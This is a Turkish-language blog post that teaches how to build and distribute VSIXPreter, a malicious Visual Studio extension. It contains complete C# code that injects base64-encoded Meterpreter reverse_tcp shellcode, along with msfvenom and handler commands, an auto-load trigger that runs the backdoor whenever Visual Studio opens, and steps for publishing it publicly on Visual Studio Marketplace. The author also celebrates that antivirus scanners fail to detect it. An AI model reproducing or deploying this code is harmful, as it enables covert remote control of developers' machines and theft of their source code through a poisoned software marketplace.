Eyüp Çelik

Sr. Cyber Security Expert

Sr. Network Security Expert

Sr. Malware Developer

Sr. C# Developer

Eyüp Çelik

Sr. Cyber Security Expert

Sr. Network Security Expert

Sr. Malware Developer

Sr. C# Developer

Blog Post

Visual Studio için Meterpreter Tabanlı Zararlı Eklenti

Visual Studio için Meterpreter Tabanlı Zararlı Eklenti

Meterpreter hiç şüphesiz en iyi yardımcı araçlarımızdan biridir. Artık neredeyse onsuz bir güvenlik testi hayal bile edemiyoruz. Yaptığımız tüm testlerde, çalışmalarda ve araştırmalarda “meterpreter” gibi güçlü bir zararlı koda ihtiyaç duyuyoruz.  Bir sisteme sızdıktan sonra diğer sistemlere sıçramak için birçok modülü sunması, küçük boyutlarda oluşu ve stabilliği meterpreter’ı en güçlü araçlardan biri haline getirmiştir. Meterpreter’ın bu gücü Windows mimarilerde iyi bir dağıtım yöntemi ile kullanıldığında daha da katlanmaktadır.

Geliştirdiğimiz zararlı kod eğer bir exploit aracılığıyla hedef sisteme gönderilmeyecekse ve backdoor (arka kapı) olarak kullanılacaksa dağıtım yöntemi de kod geliştirmek kadar önemli hale gelmektedir.

Meterpreter, MSFVenom yardımcı aracıyla birçok türe ve platforma uygun backdoor oluşturabilmektedir. Bu yazı özellikle 2 konuyu ele almaktadır.

  • Visual Studio için Zararlı Eklenti Oluşturma (Visual Studio’ya entegre edilecek ve her çalıştığında başlayacak backdoor’un oluşturulması).
  • Visual Studio Marketplace ile zararlı kodu dağıtma.

Github: https://github.com/mindspoof/VSIXPreter

Visual Studio için Zararlı Eklenti Oluşturma

Visual Studio’ya entegre olacak ve uygulama her çalıştırıldığında otomatik olarak başlayacak bir zararlıya ihtiyacım vardı. Bu ihtiyaçtan yola çıkarak, Visual Studio için eklenti yazmaya ve yazdığım eklenti içerisine de zararlı kod yerleştirmeye karar verdim. Tam olarak şunu yapacağız, Visual Studio üzerinden Visual Studio’ya zararlı bir eklenti yazacağız.

Visual Studio’ya eklenti yazmak için, Visual Studio 2017 ana ekranından “Create new project…”i tıklayalım.

1_Create_VSIX_Project

Visual Studio 2017’de çalışacak eklenti geliştirmek için “Create New Project”e tıkladıktan sonra Extensibility\VSIX Project’i seçmemiz gerekiyor. Eğer bu menünün altı boşsa ve yukarıdaki ekranı göremiyorsanız SDK bilgisayarınızda yüklü değildir. SDK’yı yüklemek için “Create New Project” penceresinden “Open Visual Studio Intaller”ı tıklamanız gerekiyor.

2_VS_SDK

Açılan ekrandan “Visual Studio extension development” seçeneğini işaretleyerek SDK’yı kurabilirsiniz.

VSIXPreter adında bir proje oluşturdum. Bu projemizle Visual Studio için eklenti geliştirmiş olacağız. Oluşturduğumuz projede otomatik olarak “index.html” ve “stylesheet.css” dosyaları oluşturulacaktır. Projeyi oluşturduktan sonra bu iki dosyayı silelim.

3_Custom_Command

Ardından projeye sağ tıklayarak, Add\New Item menüsü tıklayoruz ve yukarıdaki ekran ile karşılaşıyoruz. Extensibility\Custom Command’ı seçerek, dosya adına “PreterCommand.cs” diyerek böylece artık meterpreter’ı kodlayacağımız “cs” dosyasını projeye eklemiş oluyoruz.

MSFVenom ile Uygun Shellcode Üretme

Kodlamaya geçmeden önce MSFVenom aracını kullanarak, meterpreter shellcode’u oluşturmamız gerekiyor. Oluşturacağımız kod C# ile uyumlu olacak şekilde üretilecektir.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.228.127 LPORT=4444 --platform windows -f csharp

Yukarıdaki kod ile 192.168.228.127 IP adresinin 4444 portuna reverse_tcp yöntemiyle bağlanacak C# uyumlu bir shellcode üretiyoruz.

msfconsole -q
use windows/meterpreter/reverse_tcp
set LHOST 192.168.228.127
set LPORT 4444
generate -p windows -t csharp

Ayrıca MSFConsole içerisinde de shellcode’umuzu yukarıdaki gibi oluşturabiliriz. Her iki yöntemle de C# uyumlu shellcode’umuz oluşturulacaktır. Dikkat etmemiz gereken nokta şurasıdır; her iki yöntemde kullanılan parametrelerde farklılıklar olabilir. Örneğin Msfvenom ile shellcode oluşturuyorsak “-p” parametresi ile payload belirtilirken, Msfconsole da bu parametre platform belirlemek için kullanılır. 2 üretim biçimi her ne kadar aynı framework üzerinde çalışıyor olsa da parametrelerin kullanımı ve görevleri birbirinden farklıdır.

4_virtual_alloc_marshal.copy_create_thread

Oluşturduğumuz shellcode’u çalıştıracak 3 fonksiyona ihtiyacımız olacaktır. Bu 3 fonksiyonumuz yukarıdaki gibi tanımlıyoruz. VirtualAlloc fonksiyonuyla shellcode’umuzun boyutu kadar bellekte alan ayırıyoruz. CreateThread ile thread oluşturup, WaitForSingleObject foksiyonu ise belirtilen bir nesnenin geçerlilik durumunu kontrol eder.

5_RunMeterpreter

Meterpreter Shellcode’unu C# ile Çağırma

RunMeterpreter adında bir metod tanımladım ve bu metodun tetiklenmesi içinde IP ve port değişkenlerini string formatta istiyoruz. Meterpreter shellcode’u çalıştıracak metodumun tamamı aşağıdaki gibi olacaktır.

        public static void RunMeterpreter(string ip, string port)
        {
            try
            {
                var ipOctetSplit = ip.Split('.');
                byte octByte1 = Convert.ToByte(ipOctetSplit[0]);
                byte octByte2 = Convert.ToByte(ipOctetSplit[1]);
                byte octByte3 = Convert.ToByte(ipOctetSplit[2]);
                byte octByte4 = Convert.ToByte(ipOctetSplit[3]);
                int inputPort = Int32.Parse(port);
                byte port1Byte = 0x00;
                byte port2Byte = 0x00;
                if (inputPort > 256)
                {
                    int portOct1 = inputPort / 256;
                    int portOct2 = portOct1 * 256;
                    int portOct3 = inputPort - portOct2;
                    int portoct1Calc = portOct1 * 256 + portOct3;
                    if (inputPort == portoct1Calc)
                    {
                        port1Byte = Convert.ToByte(portOct1);
                        port2Byte = Convert.ToByte(portOct3);
                    }
                }
                else
                {
                    port1Byte = 0x00;
                    port2Byte = Convert.ToByte(inputPort);
                }
                byte[] shellCodePacket = new byte[9];
                shellCodePacket[0] = octByte1;
                shellCodePacket[1] = octByte2;
                shellCodePacket[2] = octByte3;
                shellCodePacket[3] = octByte4;
                shellCodePacket[4] = 0x68;
                shellCodePacket[5] = 0x02;
                shellCodePacket[6] = 0x00;
                shellCodePacket[7] = port1Byte;
                shellCodePacket[8] = port2Byte;
                string shellCodeRaw = "/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/"+                                            "rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/"+                                      "6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/"+                                      "gX19aixLrjV1oMzIAAGh3czJfVGhMdyYH/9W4kAEAACnEVFBoKYBrAP/VagVowKiLhmg"+
"CANkDieZQUFBQQFBAUGjqD9/"+                                      "g/9WXahBWV2iZpXRh/9WFwHQK/04IdezoYQAAAGoAagRWV2gC2chf/9WD+AB"+                                      "+Nos2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//"+
"1YP4AH0iWGgAQAAAagBQaAsvDzD/1VdodW5NYf/"+
"VXl7/DCTpcf///wHDKcZ1x8M=";
                string s3 = Convert.ToBase64String(shellCodePacket);
                string newShellCode = shellCodeRaw.Replace("wKiLhmgCANkD", s3);
                byte[] shellCodeBase64 = Convert.FromBase64String(newShellCode);
                UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellCodeBase64.Length, 0x1000, 0x40);
                Marshal.Copy(shellCodeBase64, 0, (IntPtr)(funcAddr), shellCodeBase64.Length);
                IntPtr hThread = IntPtr.Zero;
                UInt32 threadId = 0;
                IntPtr pinfo = IntPtr.Zero;
                hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
                WaitForSingleObject(hThread, 0xFFFFFFFF);
                return;
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
                throw;
            }
        }

Meterpreter shellcode’unu Base64 ile encode ederek, shellCodeRaw isimli değişkene atadım. Ardından girilen IP ve port değişkenlerini otomatik hesaplayarak offset değeriyle birlikte 12 karakteri (newShellCode) Base64 ile encode ederek, esas shellcode’un içine yerleştiriyorum. Böylece her IP adresi değiştiğinde yeniden shellcode üretmek yerine string olarak tanımladığım IP adresini değiştirmem yeterli olacaktır.

        private void Execute(object sender, EventArgs e)
        {
            Task.Factory.StartNew(() => RunMeterpreter("192.168.228.127", "4444"));
        }

Meterpreter shellcode’u çalıştıracak olarak metodumuzu yazdık. Metodumuzu çalıştırmak için “PreterCommand.cs” dosyamızda private void türünden otomatik olarak oluşturulan “Execute” metodu içerisine de yukarıda bulunan kodumuzu yazıyoruz. Bu kod ile Task sınıfından bir thread oluşturarak RunMeterpreter metodunu çağırıyoruz. Eklentimiz artık hazır durumdadır. Uygulamayı derleyerek, eklentiye ulaşabiliriz.

msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.228.127
set LPORT 4444
set ExitOnSession false
exploit -j

Gelecek olan Meterpreter bağlantısını karşılamak için multi/handler’ı yukarıdaki gibi başlatıyoruz. Şimdi oluşturduğumuz vsix (visiual studio extension) dosyasını çalıştırarak, eklentiyi kurabiliriz. Dikkat etmemiz gereken bir husus, eklenti kurulurken Visual Studio 2017’nin kapalı olması gerekiyor. Kapalı değilse uygulamayı yüklerken bu yönde bir hata alabiliriz.

6_vsix_compile

Oluşturduğumuz VSIXPreter isimli projemiz derlendiğinde, “VSIXPreter.dll” ve “VSIXPreter.vsix” dosyalarını oluşacaktır. VSIXPreter.vsix dosyasını çift tıklayıp çalıştırdığımızda, yukarıdaki gibi VSIX Intaller çalışacak ve uygulamayı yüklemek isteyip istemediğimizi soracaktır. Bu ekranda “Install”u tıklayarak eklentiyi Visual Studio 2017’ye kurabiliriz.

7_vsix_installation

Yükleme tamamlandıktan sonra yukarıdaki ekran ile karşılaşacağız. Eklenti kurulumumuz başarıyla tamamlandı. Visual Studio 2017’yi açarak, “Tools” menüsünden “Run PreterCommand”ı tıklayarak meterpreter bağlantısı elde edebiliriz.

8_Run_Meterpreter

Run PreterCommand görüleceği üzere Tools menüsüne eklenmiştir. Bu menü her çalıştırıldığında Meterpreter reverse_tcp kullanan shellcode’umuz tetiklenecek ve belirttiğimiz adrese bağlantı gönderilecektir.

VSIXPreter Zararlısının Hızlı Analizi

Ancak burada tam olarak şöyle bir problem ile karşılaşacağız, eklentiyi Visual Studio 2017’ye yükledikten sonra her seferinde bu Tools menüsünden Meterpreter’ı tıklattırmak zorlu bir iştir. Bu sebeple Visual Studio her açıldığında Meterpreter shellcode’u otomatik tetikleyecek bir kod yazmamız gerekiyor. Ama öncesinde oluştuduğumuz “VSIXPreter.vsix” dosyasını VirusTotal’e yükleyerek, sonuçlara bakalım.

9_virustotal

Virustotal’e oluşturduğumuz zararlıyı gönderdik. Vee Bingo! 0/60. Oluşturduğumuz zararlı hiçbir anti-malware ürünü tarafından tanınmıyor. Oluşturduğumuz zararlıyı Process Hacker üzerinden  incelemeye devam edelim.

10_process_hacker

Oluşturduğumuz VSIXPreter.dll dosyası devenw.exe tarafından yüklenmiş ve 192.168.228.127 IP adresinin 4444 portuna bağlantıyı göndermiştir. Şimdi artık Visual Studio 2017 her açıldığında çalışacak şekilde kodumuzu düzenlememiz gerekiyor.

    [PackageRegistration(UseManagedResourcesOnly = true, AllowsBackgroundLoading = false)]
    [InstalledProductRegistration("#110", "#112", "1.0", IconResourceID = 400)] // Info on this package for Help/About
    [ProvideMenuResource("Menus.ctmenu", 1)]
    [SuppressMessage("StyleCop.CSharp.DocumentationRules", "SA1650:ElementDocumentationMustBeSpelledCorrectly", Justification = "pkgdef, VS and vsixmanifest are valid VS terms")]
    [ProvideAutoLoad(VSConstants.UICONTEXT.NoSolution_string)]
    [Guid("6e3f9edb-4ca2-4a2e-aa75-804abc34bba7")]

Oluşturduğumuz PreterCommand.cs dosyası oluşturma anında ayrıca “PreterCommandPackage.cs” dosyasını da oluşturacaktır. Bu dosya içerisine yukarıdaki parametreleri tanımlayarak zararlının, Visual Studio 2017 her açıldığında çalışmasını sağlayabiliriz.

ProvideAutoLoad ile hangi durumda otomatik yüklenmesini istiyorsak, belirtmemiz gerekiyor. VSContants.UICONTEXT.NoSolution_string parametresi tam olarak bize bunu sağlıyor. Bu parametre sayesinde Visual Studio 2017 her açıldığında eklentiyi tetikleyerek, meterpreter bağlantısı elde edebiliriz.

11_AutoLoad

Ayrıca birçok AutoLoad durumu da tanımlayabiliriz. Örneğin herhangi bir CSharp projesi açıldığında, Code ekranına geçildiğinde, Debug moda geçildiğinde, Drag işlemi gerçekleştirildiğinde ya da Background’daki bir proje Load edildiğinde gibi onlarca otomatik başlatma seçeneğimiz mevcut.

“NoSolution_string” parametresi ile Visual Studio 2017 her açıldığında zararlı otomatik başlayacak şekilde kodladık. Son bir adımımız daha kaldı, Visual Studio 2017 her açıldığında Task kullanarak RunMeterpreter metodumuza tanımladığımız shellcode’u çalıştırmamız gerekiyor.

        public PreterCommandPackage()
        {
            // Inside this method you can place any initialization code that does not require
            // any Visual Studio service because at this point the package object is created but
            // not sited yet inside Visual Studio environment. The place to do all the other
            // initialization is the Initialize method.
            Task.Factory.StartNew(() => PreterCommand.RunMeterpreter("192.168.228.127", "4444"));
        }

PreterCommandPackage.cs dosyamız içerisinde bulunan PreterCommandPackage() metodunu bu iş için kullanabiliriz. Bu metod içerisinde tanımladığımız Task ile yeni bir iş parçacığı oluşturarak, PreterCommand’da bulunan RunMterpreter metodunu çağıyoruz. Böylece Visual Studio 2017 her açıldığında bir iş parçacığı oluşturulacak ve uygulama donmadan Meterpreter bağlantısı elde edeceğiz.

Visual Studio Marketplace ile Zararlı Kodu Dağıtma

Zararlı Visual Studio eklentimizi kodladık. Ancak bunu dağıtmaya da ihtiyacımız var. Bunun için ben Visual Studio Marketplace’ı tercih ettim. Oluşturduğumuz zararlı eklentiyi marketplace’e gönderip, indirilmesini sağlayabiliriz. Eğer güzel ve dikkat çekici bir eklenti geliştirirsek, indirilme olasılığını artırmış oluruz. Ben bu yazımda örneklemek adına bir uygulama geliştirerek yükledim ve MarketPlace’in kodu yayınlayıp yayınlamayacağını merak ediyordum. Tahminlerimde yanılmadım, kodum yaklaşık 5 dakika içerisinde yüklenerek yayınlandı ve indirilmeye hazır hale geldi.

Oluşturduğumuz zararlı eklentiyi Marketplace’de yayınlamak için “Visual Studio Marketplace Publishing Portal” hesabına ihtiyacımız var. Bu hesap için herhangi bir microsoft hesabı (hotmail, msn vb.) kullanabiliriz.

https://marketplace.visualstudio.com adresinde bulunan Visual Studio Marketplace hesabımızla oturum açalım. Ardından anasayfada bulunan “Publish extensions”ı tıklayarak, uygulamayı yükleyeceğimiz ekrana erişebiliriz. Site bizi “Manage Publishers & Extensions” sayfasına yönlendirecektir. Bu sayfada ilk olarak “Create publisher”ı tıklayarak yeni bir Publisher tanımlıyoruz.

12_publisher

Bizden yukarıda bulunan formdaki bilgiler talep edilmektedir. Bu formda girdiğimiz bilgiler oldukça önemlidir. Çünkü Marketplace’e gireceğimiz geliştirici bilgileri ile geliştirdiğimiz uygulamaların Assemblies bilgilerinin örtüşmesi gerekiyor. Bu bilgiler eğer örtüşmezse maalesef uygulamayı yayınlayamıyorsunuz. Publisher’ı oluşturduktan sonra uygulamamızı Marketplace’e yükleyebiliriz.

13_new_extension

Yukarda bulunan ekran görüntüsündeki gibi New extension menüsünden Visual Studio’yu tıklıyoruz. Marketplace yeni bir sayfa açarak geliştirdiğimiz uygulamayı yüklememizi isteyecektir.

14_vsix_upload

Uygulamamızı seçerek yüklüyoruz ve karşımıza gelen Form alanını doldurarak uygulamamızın Marketplace’e yüklenmesini sağlıyoruz.

15_download_vsixpreter

Uygulamamız yüklendikten sonra yukarıdaki gibi Extension menüsünde görünecektir. Uygulamamıza herkesin erişebilmesi için uygulamaya sağ tıklayarak “Make Public”i işaretliyoruz. Böylece Availability kısmında “Public” olarak işaretlendiğini görebiliriz. Uygulamamız Marketplace’e yüklendikten sonra yaklaşık 5 dakika içerisinde onaylanmaktadır. İçerisinde zararlı kod bulunup, bulunmadığının kontrolü yapılmamaktadır.

Herhangi bir geliştirici Marketplace’de bulunan zararlımızı Visual Studio’ya eklenti olarak kurarsa, her Visual Studio 2017’yi açtığında Meterpreter bağlantısı elde edeceğiz.

16_vsix_final

Visual Studio 2017’de bulunan Tools menüsünden “Extensions and Updates”e tıklayarak, uygulamamızın Marketplace üzerinden indirilmesini sağlayabiliriz. Sol tarafta yer alan Online menüsüne tıklayarak arama kısmına “vsixpreter” yazdığımızda, uygulamayı görebiliriz. Download’a tıklayarak, uygulamanın indirilmesini ve yüklenmesini sağlayabiliriz.

18_meterpreter_ok

Yukarıdaki ekranda görüleceği üzere Meterpreter bağlantımız 31488 process ID’si ile çalışmış ve bağlantı 192.168.228.127 IP adresine gönderilmiştir.

Marketplace de bulunan her uygulama güvenli değildir. İndirdiğiniz tüm uygulamaları mutlaka güvenlik kontrolünden geçirin. Zira daha kötü senaryoların (yazdığımız kaynak kodların çalınması gibi) olabileceğini unutmayalım.

Referanslar:

https://docs.microsoft.com/en-us/vsts/integrate/ide/extensions/hello_world?view=vsts

http://dotneteers.net/blogs/divedeeper/archive/2008/03/23/LVNSideBar1.aspx

https://msdn.microsoft.com/en-us/library/bb166762.aspx

https://docs.microsoft.com/en-us/vsts/extend/publish/overview?view=vsts

https://www.mztools.com/articles/2013/MZ2013027.aspx

http://sandrinodimattia.net/some-clarity-on-auto-loading-visual-studio-2010-extensions/

https://eyupcelik.com.tr/derinlemesine-msfvenom-kullanimi/

Related Posts
Write a comment